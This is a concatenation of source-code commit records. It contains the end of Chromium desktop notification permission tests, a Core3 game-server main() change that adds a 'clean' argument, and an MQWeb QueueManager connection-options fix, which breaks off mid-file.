sent to the cache.\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n\n \/\/ Change the default content setting. This will post a task on the IO thread\n \/\/ to update the cache.\n service_->SetDefaultContentSetting(CONTENT_SETTING_BLOCK);\n\n \/\/ The updated pref shouldn't be sent to the cache immediately.\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n\n \/\/ Run IO thread tasks.\n proxy_->DrainIOThread();\n\n \/\/ Now that IO thread events have been processed, it should be there.\n EXPECT_EQ(CONTENT_SETTING_BLOCK, cache_->CachedDefaultContentSetting());\n}\n\nTEST_F(DesktopNotificationServiceTest, SettingsForSchemes) {\n GURL url(\"file:\/\/\/html\/test.html\");\n\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->GrantPermission(url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->DenyPermission(url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, url));\n\n GURL https_url(\"https:\/\/testurl\");\n GURL http_url(\"http:\/\/testurl\");\n EXPECT_EQ(CONTENT_SETTING_ASK, cache_->CachedDefaultContentSetting());\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, http_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, https_url));\n\n service_->GrantPermission(https_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, https_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, http_url));\n\n service_->DenyPermission(http_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, http_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, https_url));\n}\n\nTEST_F(DesktopNotificationServiceTest, GrantPermissionSentToCache) {\n GURL url(\"http:\/\/allowed.com\");\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->GrantPermission(url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, url));\n}\n\nTEST_F(DesktopNotificationServiceTest, DenyPermissionSentToCache) {\n GURL url(\"http:\/\/denied.com\");\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, url));\n\n service_->DenyPermission(url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, url));\n}\n\nTEST_F(DesktopNotificationServiceTest, PrefChangesSentToCache) {\n PrefService* prefs = profile()->GetPrefs();\n\n {\n ListPrefUpdate update_allowed_origins(\n prefs, prefs::kDesktopNotificationAllowedOrigins);\n ListValue* allowed_origins = update_allowed_origins.Get();\n allowed_origins->Append(new StringValue(GURL(\"http:\/\/allowed.com\").spec()));\n }\n\n {\n ListPrefUpdate update_denied_origins(\n prefs, prefs::kDesktopNotificationDeniedOrigins);\n ListValue* denied_origins = update_denied_origins.Get();\n denied_origins->Append(new StringValue(GURL(\"http:\/\/denied.com\").spec()));\n }\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, GURL(\"http:\/\/allowed.com\")));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, GURL(\"http:\/\/denied.com\")));\n}\n\nTEST_F(DesktopNotificationServiceTest, GetAllowedOrigins) {\n service_->GrantPermission(GURL(\"http:\/\/allowed2.com\"));\n service_->GrantPermission(GURL(\"http:\/\/allowed.com\"));\n\n std::vector<GURL> allowed_origins(service_->GetAllowedOrigins());\n ASSERT_EQ(2u, allowed_origins.size());\n EXPECT_EQ(GURL(\"http:\/\/allowed2.com\"), allowed_origins[0]);\n EXPECT_EQ(GURL(\"http:\/\/allowed.com\"), allowed_origins[1]);\n}\n\nTEST_F(DesktopNotificationServiceTest, GetBlockedOrigins) {\n service_->DenyPermission(GURL(\"http:\/\/denied2.com\"));\n service_->DenyPermission(GURL(\"http:\/\/denied.com\"));\n\n std::vector<GURL> denied_origins(service_->GetBlockedOrigins());\n ASSERT_EQ(2u, denied_origins.size());\n EXPECT_EQ(GURL(\"http:\/\/denied2.com\"), denied_origins[0]);\n EXPECT_EQ(GURL(\"http:\/\/denied.com\"), denied_origins[1]);\n}\n\nTEST_F(DesktopNotificationServiceTest, ResetAllSentToCache) {\n GURL allowed_url(\"http:\/\/allowed.com\");\n service_->GrantPermission(allowed_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n GURL denied_url(\"http:\/\/denied.com\");\n service_->DenyPermission(denied_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, denied_url));\n\n service_->ResetAllOrigins();\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, denied_url));\n}\n\nTEST_F(DesktopNotificationServiceTest, ResetAllowedSentToCache) {\n GURL allowed_url(\"http:\/\/allowed.com\");\n service_->GrantPermission(allowed_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n\n service_->ResetAllowedOrigin(allowed_url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, allowed_url));\n}\n\nTEST_F(DesktopNotificationServiceTest, ResetBlockedSentToCache) {\n GURL denied_url(\"http:\/\/denied.com\");\n service_->DenyPermission(denied_url);\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionDenied,\n proxy_->CacheHasPermission(cache_, denied_url));\n\n service_->ResetBlockedOrigin(denied_url);\n\n EXPECT_EQ(WebKit::WebNotificationPresenter::PermissionNotAllowed,\n proxy_->CacheHasPermission(cache_, denied_url));\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/*\r\nCopyright (C) 2007 <SWGEmu>\r\n\r\nThis File is part of Core3.\r\n\r\nThis program is free software; you can redistribute\r\nit and\/or modify it under the terms of the GNU Lesser\r\nGeneral Public License as published by the Free Software\r\nFoundation; either version 2 of the License,\r\nor (at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\r\nSee the GNU Lesser General Public License for\r\nmore details.\r\n\r\nYou should have received a copy of the GNU Lesser General\r\nPublic License along with this program; if not, write to\r\nthe Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\r\n\r\nLinking Engine3 statically or dynamically with other modules\r\nis making a combined work based on Engine3.\r\nThus, the terms and conditions of the GNU Lesser General Public License\r\ncover the whole combination.\r\n\r\nIn addition, as a special exception, the copyright holders of Engine3\r\ngive you permission to combine Engine3 program with free software\r\nprograms or libraries that are released under the GNU LGPL and with\r\ncode included in the standard release of Core3 under the GNU LGPL\r\nlicense (or modified versions of such code, with unchanged license).\r\nYou may copy and distribute such a system following the terms of the\r\nGNU LGPL for Engine3 and the licenses of the other code concerned,\r\nprovided that you include the source code of that other code when\r\nand as the GNU LGPL requires distribution of source code.\r\n\r\nNote that people who make modified versions of Engine3 are not obligated\r\nto grant this special exception for their modified versions;\r\nit is their choice whether to do so. The GNU Lesser General Public License\r\ngives permission to release a modified version without this exception;\r\nthis exception also makes it possible to release a modified version\r\nwhich carries forward this exception.\r\n*\/\r\n\r\n#include \"server\/ServerCore.h\"\r\n\r\n#include \"server\/zone\/objects\/tangible\/Container.h\"\r\n\r\n\/*#include \"system\/mm\/AllocationTracker.h\"\r\n\r\nAllocationTracker* tracker;\r\n\r\nvoid initializeTracker() {\r\n\tprintf(\"malloc initialization Hook installed\\n\");\r\n\r\n\ttracker = AllocationTracker::getInstance();\r\n\ttracker->install();\r\n}*\/\r\n\r\n\/\/void (*__malloc_initialize_hook)(void) = initializeTracker;\r\n\r\nint main(int argc, char* argv[]) {\r\n\ttry {\r\n\t\tVector<String> arguments;\r\n\t\tfor (int i = 1; i < argc; ++i) {\r\n\t\t\targuments.add(argv[i]);\r\n\t\t}\r\n\r\n\t\tServerCore core;\r\n\r\n\t\tcore.start();\r\n\r\n\t} catch (Exception& e) {\r\n\t\tSystem::out << e.getMessage() << \"\\n\";\r\n\t\te.printStackTrace();\r\n\t} catch (...) {\r\n\t\tSystem::out << \"unreported exception caught main()\\n\";\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\n<commit_msg>[fixed] missing file<commit_after>\/*\r\nCopyright (C) 2007 <SWGEmu>\r\n\r\nThis File is part of Core3.\r\n\r\nThis program is free software; you can redistribute\r\nit and\/or modify it under the terms of the GNU Lesser\r\nGeneral Public License as published by the Free Software\r\nFoundation; either version 2 of the License,\r\nor (at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\r\nSee the GNU Lesser General Public License for\r\nmore details.\r\n\r\nYou should have received a copy of the GNU Lesser General\r\nPublic License along with this program; if not, write to\r\nthe Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\r\n\r\nLinking Engine3 statically or dynamically with other modules\r\nis making a combined work based on Engine3.\r\nThus, the terms and conditions of the GNU Lesser General Public License\r\ncover the whole combination.\r\n\r\nIn addition, as a special exception, the copyright holders of Engine3\r\ngive you permission to combine Engine3 program with free software\r\nprograms or libraries that are released under the GNU LGPL and with\r\ncode included in the standard release of Core3 under the GNU LGPL\r\nlicense (or modified versions of such code, with unchanged license).\r\nYou may copy and distribute such a system following the terms of the\r\nGNU LGPL for Engine3 and the licenses of the other code concerned,\r\nprovided that you include the source code of that other code when\r\nand as the GNU LGPL requires distribution of source code.\r\n\r\nNote that people who make modified versions of Engine3 are not obligated\r\nto grant this special exception for their modified versions;\r\nit is their choice whether to do so. The GNU Lesser General Public License\r\ngives permission to release a modified version without this exception;\r\nthis exception also makes it possible to release a modified version\r\nwhich carries forward this exception.\r\n*\/\r\n\r\n#include \"server\/ServerCore.h\"\r\n\r\n\/*#include \"system\/mm\/AllocationTracker.h\"\r\n\r\n\tAllocationTracker* tracker;\r\n\r\n\tvoid initializeTracker() {\r\n\t printf(\"malloc initialization Hook installed\\n\");\r\n\r\n\t tracker = AllocationTracker::getInstance();\r\n\t tracker->install();\r\n}*\/\r\n\r\nint main(int argc, char* argv[]) {\r\n\ttry {\r\n\t\tSortedVector<String> arguments;\r\n\t\tfor (int i = 1; i < argc; ++i) {\r\n\t\t\targuments.put(argv[i]);\r\n\t\t}\r\n\r\n\t\tbool truncateData = arguments.contains(\"clean\");\r\n\r\n\t\tServerCore core(truncateData);\r\n\r\n\t\tcore.start();\r\n\r\n\t} catch (Exception& e) {\r\n\t\tSystem::out << e.getMessage() << \"\\n\";\r\n\t\te.printStackTrace();\r\n\t} catch (...) {\r\n\t\tSystem::out << \"unreported exception caught main()\\n\";\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2010 MQWeb - Franky Braem\n *\n * Licensed under the EUPL, Version 1.1 or – as soon they\n * will be approved by the European Commission - subsequent\n * versions of the EUPL (the \"Licence\");\n * You may not use this work except in compliance with the\n * Licence.\n * You may obtain a copy of the Licence at:\n *\n * http:\/\/joinup.ec.europa.eu\/software\/page\/eupl\n *\n * Unless required by applicable law or agreed to in\n * writing, software distributed under the Licence is\n * distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied.\n * See the Licence for the specific language governing\n * permissions and limitations under the Licence.\n *\/\n#include <string.h>\n\n#include \"Poco\/DateTimeParser.h\"\n#include \"Poco\/Util\/Application.h\"\n#include \"Poco\/StringTokenizer.h\"\n\n#include \"MQ\/QueueManager.h\"\n#include \"MQ\/MQException.h\"\n#include \"MQ\/MQSubsystem.h\"\n\nnamespace MQ\n{\nQueueManager::QueueManager(const std::string& name)\n:\t _handle(0),\n\t_name(name),\n\t_applicationType(0)\n{\n}\n\n\nQueueManager::~QueueManager()\n{\n\tif ( _handle != 0 )\n\t{\n\t\ttry\n\t\t{\n\t\t\tdisconnect();\n\t\t}\n\t\tcatch(MQException&)\n\t\t{\n\t\t\t\/\/ Don't throw exceptions from a destructor\n\t\t\t\/\/ See: http:\/\/www.parashift.com\/c++-faq-lite\/exceptions.html#faq-17.9\n\t\t}\n\t}\n}\n\nvoid QueueManager::connect()\n{\n\tMQCNO cno = { MQCNO_DEFAULT };\n\tcno.Version = MQCNO_VERSION_2;\n\tcno.Options = MQCNO_HANDLE_SHARE_NONE;\n\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t_handle = mqSystem.functions().connx(_name, &cno);\n\n\tinquireQmgrAttrs();\n}\n\nvoid QueueManager::connect(const std::string& channel, const std::string& server)\n{\n\tMQCNO cno = { MQCNO_DEFAULT };\n\tcno.Version = MQCNO_VERSION_2;\n\tcno.Options = MQCNO_HANDLE_SHARE_BLOCK;\n\n\tMQCD cd = { MQCD_CLIENT_CONN_DEFAULT };\n\tstrncpy(cd.ChannelName, channel.c_str(), MQ_CHANNEL_NAME_LENGTH);\n\tstrncpy(cd.ConnectionName, server.c_str(), MQ_CONN_NAME_LENGTH);\n\tcd.TransportType = MQXPT_TCP;\n\tcno.ClientConnPtr = &cd;\n\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t_handle = mqSystem.functions().connx(_name, &cno);\n\n\tinquireQmgrAttrs();\n}\n\n\nvoid QueueManager::connect(const Poco::DynamicStruct& connectionInformation)\n{\n\tif ( connectionInformation.contains(\"ssl\") )\n\t{\n\t\tPoco::Dynamic::Var ssl = connectionInformation[\"ssl\"];\n\t\tif ( ssl.isStruct() )\n\t\t{\n\t\t\tconnect(connectionInformation[\"channel\"],\n\t\t\t\tconnectionInformation[\"connection\"],\n\t\t\t\tssl.extract<Poco::Dynamic::Struct<std::string> >());\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( connectionInformation.contains(\"channel\") && connectionInformation.contains(\"connection\") )\n\t\t{\n\t\t\tconnect(connectionInformation[\"channel\"], connectionInformation[\"connection\"]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tconnect();\n\t\t}\n\t}\n}\n\nvoid QueueManager::connect(const std::string& channel, const std::string& server, const Poco::DynamicStruct& ssl)\n{\n\tMQCNO cno = { MQCNO_DEFAULT };\n\n\t\/*\n\tWe must specify MQCNO version 4 to ensure that both the client \n\tconnection pointer and SSL configuration options are used \n\t*\/\n\tcno.Version = MQCNO_VERSION_4;\n\tcno.Options = MQCNO_HANDLE_SHARE_BLOCK;\n\n\tMQCD cd = { MQCD_CLIENT_CONN_DEFAULT };\n\tstrncpy(cd.ChannelName, channel.c_str(), MQ_CHANNEL_NAME_LENGTH);\n\tstrncpy(cd.ConnectionName, server.c_str(), MQ_CONN_NAME_LENGTH);\n\n\tif ( ssl.contains(\"cipherspec\") )\n\t{\n\t\tstrncpy(cd.SSLCipherSpec, ssl[\"cipherspec\"].toString().c_str(), MQ_SSL_CIPHER_SPEC_LENGTH);\n\t\tcd.Version = MQCD_VERSION_7; \/\/ SSL requires MQCD version 7 or later\n\t}\n\n\tcd.TransportType = MQXPT_TCP;\n\tcno.ClientConnPtr = &cd;\n\n\tMQSCO sco = { MQSCO_DEFAULT };\n\tMQAIR authInfoRec = { MQAIR_DEFAULT };\n\n\tPoco::Dynamic::Var keyrepos = ssl[\"keyrepos\"];\n\tstrncpy(sco.KeyRepository, keyrepos.toString().c_str(), MQ_SSL_KEY_REPOSITORY_LENGTH);\n\n\tif ( ssl.contains(\"fips\") )\n\t{\n\t\tif ( ssl[\"fips\"].convert<bool>() )\n\t\t{\n\t\t\tsco.FipsRequired = MQSSL_FIPS_YES;\n\t\t\tsco.Version = MQSCO_VERSION_2; \/\/ A version 2 MQSCO supports FipsRequired\n\t\t}\n\t}\n\n\tif ( ssl.contains(\"suiteb\") )\n\t{\n\t\tstatic std::map<std::string, MQLONG> suiteBTable;\n\t\tif ( suiteBTable.size() == 0 )\n\t\t{\n\t\t\tsuiteBTable.insert(std::make_pair<std::string, MQLONG>(\"none\", MQ_SUITE_B_NONE));\n\t\t\tsuiteBTable.insert(std::make_pair<std::string, MQLONG>(\"128 bit\", MQ_SUITE_B_128_BIT));\n\t\t\tsuiteBTable.insert(std::make_pair<std::string, MQLONG>(\"192 bit\", MQ_SUITE_B_192_BIT));\n\t\t}\n\n\t\tsco.Version = MQSCO_VERSION_3; \/* A version 3 MQSCO supports Suite B encryption policy *\/\n\n\t\tPoco::StringTokenizer tokenizer(ssl[\"suiteb\"].toString(), \",\", Poco::StringTokenizer::TOK_TRIM);\n\t\tint n = 0;\n\t\tfor(Poco::StringTokenizer::Iterator it = tokenizer.begin(); it != tokenizer.end() && n < 4; ++it, ++n)\n\t\t{\n\t\t\tstd::map<std::string, MQLONG>::iterator suiteBIterator = suiteBTable.find(*it);\n\t\t\tif ( suiteBIterator == suiteBTable.end() )\n\t\t\t{\n\t\t\t\tthrow Poco::NotFoundException(Poco::format(\"Unknown SuiteB value: %s\", *it));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tsco.EncryptionPolicySuiteB[n] = suiteBIterator->second;\n\t\t\t}\n\t\t}\n\t}\n\n#ifdef MQSCO_VERSION_4\n\tif ( ssl.contains(\"certificate_validation_policy\") )\n\t{\n\t\tstatic std::map<std::string, MQLONG> certValPolicyTable;\n\t\tif ( certValPolicyTable.size() == 0 )\n\t\t{\n\t\t\tcertValPolicyTable.insert(std::make_pair<std::string, MQLONG>(\"any\", MQ_CERT_VAL_POLICY_ANY));\n\t\t\tcertValPolicyTable.insert(std::make_pair<std::string, MQLONG>(\"rfc5280\", MQ_CERT_VAL_POLICY_RFC5280));\n\t\t}\n\n\t\tsco.Version = MQSCO_VERSION_4; \/* A version 4 MQSCO supports certificate validation policy *\/\n\n\t\tstd::string certValPolicy = ssl[\"certificate_validation_policy\"].toString();\n\t\tstd::map<std::string, MQLONG>::iterator certValPolicyIterator = certValPolicyTable.find(certValPolicy);\n\t\tif ( certValPolicyIterator == certValPolicyTable.end() )\n\t\t{\n\t\t\tthrow Poco::NotFoundException(Poco::format(\"Unknown Certification Validation Policy: %s\", certValPolicy));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsco.CertificateValPolicy = certValPolicyIterator->second;\n\t\t}\n\t}\n#endif\n\tif ( ssl.contains(\"ocsp_url\") )\n\t{\n\t\t\/* OCSP requires MQAIR version 2 or later *\/\n\t\tauthInfoRec.Version = MQAIR_VERSION_2;\n\t\tauthInfoRec.AuthInfoType = MQAIT_OCSP;\n\n\t\tstrncpy(authInfoRec.OCSPResponderURL, ssl[\"ocsp_url\"].toString().c_str(), MQ_AUTH_INFO_OCSP_URL_LENGTH);\n\n\t\t\/* The MQSCO must point to the MQAIR *\/\n\t\tsco.AuthInfoRecCount = 1;\n\t\tsco.AuthInfoRecPtr = &authInfoRec;\n\t}\n\n\tcno.SSLConfigPtr = &sco;\n\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t_handle = mqSystem.functions().connx(_name, &cno);\n\n\tinquireQmgrAttrs();\n}\n\n\nvoid QueueManager::inquireQmgrAttrs()\n{\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\n\tMQOD qmgrObjectDesc = {MQOD_DEFAULT};\n\tqmgrObjectDesc.ObjectType = MQOT_Q_MGR;\n\tMQHOBJ qmgrObjectHandle = mqSystem.functions().open(_handle, &qmgrObjectDesc, MQOO_INQUIRE);\n\n\tstd::vector<int> intSelectors;\n\tintSelectors.push_back(MQIA_PLATFORM);\n\n\tstd::map<int, int> charSelectors;\n\tcharSelectors[MQCA_Q_MGR_NAME] = MQ_Q_MGR_NAME_LENGTH;\n\tcharSelectors[MQCA_Q_MGR_IDENTIFIER] = MQ_Q_MGR_IDENTIFIER_LENGTH;\n\tcharSelectors[MQCA_COMMAND_INPUT_Q_NAME] = MQ_Q_NAME_LENGTH;\n\n\tstd::map<int, int> intResult;\n\tstd::map<int, std::string> charResult;\n\tmqSystem.functions().inq(_handle, qmgrObjectHandle, intSelectors, charSelectors, intResult, charResult);\n\n\t_applicationType = intResult[MQIA_PLATFORM];\n\t_name = charResult[MQCA_Q_MGR_NAME];\n\t_id = charResult[MQCA_Q_MGR_IDENTIFIER];\n\t_commandQueue = charResult[MQCA_COMMAND_INPUT_Q_NAME];\n\n\tmqSystem.functions().close(_handle, &qmgrObjectHandle, MQCO_NONE);\n}\n\nvoid QueueManager::disconnect()\n{\n\tif ( _handle != 0 )\n\t{\n\t\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t\tmqSystem.functions().disc(&_handle);\n\t\t_handle = 0;\n\t}\n}\n\n}\n<commit_msg>Options in connect must be MQCNO_HANDLE_SHARE_BLOCK<commit_after>\/*\n * Copyright 2010 MQWeb - Franky Braem\n *\n * Licensed under the EUPL, Version 1.1 or – as soon they\n * will be approved by the European Commission - subsequent\n * versions of the EUPL (the \"Licence\");\n * You may not use this work except in compliance with the\n * Licence.\n * You may obtain a copy of the Licence at:\n *\n * http:\/\/joinup.ec.europa.eu\/software\/page\/eupl\n *\n * Unless required by applicable law or agreed to in\n * writing, software distributed under the Licence is\n * distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied.\n * See the Licence for the specific language governing\n * permissions and limitations under the Licence.\n *\/\n#include <string.h>\n\n#include \"Poco\/DateTimeParser.h\"\n#include \"Poco\/Util\/Application.h\"\n#include \"Poco\/StringTokenizer.h\"\n\n#include \"MQ\/QueueManager.h\"\n#include \"MQ\/MQException.h\"\n#include \"MQ\/MQSubsystem.h\"\n\nnamespace MQ\n{\nQueueManager::QueueManager(const std::string& name)\n:\t _handle(0),\n\t_name(name),\n\t_applicationType(0)\n{\n}\n\n\nQueueManager::~QueueManager()\n{\n\tif ( _handle != 0 )\n\t{\n\t\ttry\n\t\t{\n\t\t\tdisconnect();\n\t\t}\n\t\tcatch(MQException&)\n\t\t{\n\t\t\t\/\/ Don't throw exceptions from a destructor\n\t\t\t\/\/ See: http:\/\/www.parashift.com\/c++-faq-lite\/exceptions.html#faq-17.9\n\t\t}\n\t}\n}\n\nvoid QueueManager::connect()\n{\n\tMQCNO cno = { MQCNO_DEFAULT };\n\tcno.Version = MQCNO_VERSION_2;\n\tcno.Options = MQCNO_HANDLE_SHARE_BLOCK;\n\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t_handle = mqSystem.functions().connx(_name, &cno);\n\n\tinquireQmgrAttrs();\n}\n\nvoid QueueManager::connect(const std::string& channel, const std::string& server)\n{\n\tMQCNO cno = { MQCNO_DEFAULT };\n\tcno.Version = MQCNO_VERSION_2;\n\tcno.Options = MQCNO_HANDLE_SHARE_BLOCK;\n\n\tMQCD cd = { MQCD_CLIENT_CONN_DEFAULT };\n\tstrncpy(cd.ChannelName, channel.c_str(), MQ_CHANNEL_NAME_LENGTH);\n\tstrncpy(cd.ConnectionName, server.c_str(), MQ_CONN_NAME_LENGTH);\n\tcd.TransportType = MQXPT_TCP;\n\tcno.ClientConnPtr = &cd;\n\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t_handle = mqSystem.functions().connx(_name, &cno);\n\n\tinquireQmgrAttrs();\n}\n\n\nvoid QueueManager::connect(const Poco::DynamicStruct& connectionInformation)\n{\n\tif ( connectionInformation.contains(\"ssl\") )\n\t{\n\t\tPoco::Dynamic::Var ssl = connectionInformation[\"ssl\"];\n\t\tif ( ssl.isStruct() )\n\t\t{\n\t\t\tconnect(connectionInformation[\"channel\"],\n\t\t\t\tconnectionInformation[\"connection\"],\n\t\t\t\tssl.extract<Poco::Dynamic::Struct<std::string> >());\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( connectionInformation.contains(\"channel\") && connectionInformation.contains(\"connection\") )\n\t\t{\n\t\t\tconnect(connectionInformation[\"channel\"], connectionInformation[\"connection\"]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tconnect();\n\t\t}\n\t}\n}\n\nvoid QueueManager::connect(const std::string& channel, const std::string& server, const Poco::DynamicStruct& ssl)\n{\n\tMQCNO cno = { MQCNO_DEFAULT };\n\n\t\/*\n\tWe must specify MQCNO version 4 to ensure that both the client \n\tconnection pointer and SSL configuration options are used \n\t*\/\n\tcno.Version = MQCNO_VERSION_4;\n\tcno.Options = MQCNO_HANDLE_SHARE_BLOCK;\n\n\tMQCD cd = { MQCD_CLIENT_CONN_DEFAULT };\n\tstrncpy(cd.ChannelName, channel.c_str(), MQ_CHANNEL_NAME_LENGTH);\n\tstrncpy(cd.ConnectionName, server.c_str(), MQ_CONN_NAME_LENGTH);\n\n\tif ( ssl.contains(\"cipherspec\") )\n\t{\n\t\tstrncpy(cd.SSLCipherSpec, ssl[\"cipherspec\"].toString().c_str(), MQ_SSL_CIPHER_SPEC_LENGTH);\n\t\tcd.Version = MQCD_VERSION_7; \/\/ SSL requires MQCD version 7 or later\n\t}\n\n\tcd.TransportType = MQXPT_TCP;\n\tcno.ClientConnPtr = &cd;\n\n\tMQSCO sco = { MQSCO_DEFAULT };\n\tMQAIR authInfoRec = { MQAIR_DEFAULT };\n\n\tPoco::Dynamic::Var keyrepos = ssl[\"keyrepos\"];\n\tstrncpy(sco.KeyRepository, keyrepos.toString().c_str(), MQ_SSL_KEY_REPOSITORY_LENGTH);\n\n\tif ( ssl.contains(\"fips\") )\n\t{\n\t\tif ( ssl[\"fips\"].convert<bool>() )\n\t\t{\n\t\t\tsco.FipsRequired = MQSSL_FIPS_YES;\n\t\t\tsco.Version = MQSCO_VERSION_2; \/\/ A version 2 MQSCO supports FipsRequired\n\t\t}\n\t}\n\n\tif ( ssl.contains(\"suiteb\") )\n\t{\n\t\tstatic std::map<std::string, MQLONG> suiteBTable;\n\t\tif ( suiteBTable.size() == 0 )\n\t\t{\n\t\t\tsuiteBTable.insert(std::make_pair<std::string, MQLONG>(\"none\", MQ_SUITE_B_NONE));\n\t\t\tsuiteBTable.insert(std::make_pair<std::string, MQLONG>(\"128 bit\", MQ_SUITE_B_128_BIT));\n\t\t\tsuiteBTable.insert(std::make_pair<std::string, MQLONG>(\"192 bit\", MQ_SUITE_B_192_BIT));\n\t\t}\n\n\t\tsco.Version = MQSCO_VERSION_3; \/* A version 3 MQSCO supports Suite B encryption policy *\/\n\n\t\tPoco::StringTokenizer tokenizer(ssl[\"suiteb\"].toString(), \",\", Poco::StringTokenizer::TOK_TRIM);\n\t\tint n = 0;\n\t\tfor(Poco::StringTokenizer::Iterator it = tokenizer.begin(); it != tokenizer.end() && n < 4; ++it, ++n)\n\t\t{\n\t\t\tstd::map<std::string, MQLONG>::iterator suiteBIterator = suiteBTable.find(*it);\n\t\t\tif ( suiteBIterator == suiteBTable.end() )\n\t\t\t{\n\t\t\t\tthrow Poco::NotFoundException(Poco::format(\"Unknown SuiteB value: %s\", *it));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tsco.EncryptionPolicySuiteB[n] = suiteBIterator->second;\n\t\t\t}\n\t\t}\n\t}\n\n#ifdef MQSCO_VERSION_4\n\tif ( ssl.contains(\"certificate_validation_policy\") )\n\t{\n\t\tstatic std::map<std::string, MQLONG> certValPolicyTable;\n\t\tif ( certValPolicyTable.size() == 0 )\n\t\t{\n\t\t\tcertValPolicyTable.insert(std::make_pair<std::string, MQLONG>(\"any\", MQ_CERT_VAL_POLICY_ANY));\n\t\t\tcertValPolicyTable.insert(std::make_pair<std::string, MQLONG>(\"rfc5280\", MQ_CERT_VAL_POLICY_RFC5280));\n\t\t}\n\n\t\tsco.Version = MQSCO_VERSION_4; \/* A version 4 MQSCO supports certificate validation policy *\/\n\n\t\tstd::string certValPolicy = ssl[\"certificate_validation_policy\"].toString();\n\t\tstd::map<std::string, MQLONG>::iterator certValPolicyIterator = certValPolicyTable.find(certValPolicy);\n\t\tif ( certValPolicyIterator == certValPolicyTable.end() )\n\t\t{\n\t\t\tthrow Poco::NotFoundException(Poco::format(\"Unknown Certification Validation Policy: %s\", certValPolicy));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsco.CertificateValPolicy = certValPolicyIterator->second;\n\t\t}\n\t}\n#endif\n\tif ( ssl.contains(\"ocsp_url\") )\n\t{\n\t\t\/* OCSP requires MQAIR version 2 or later 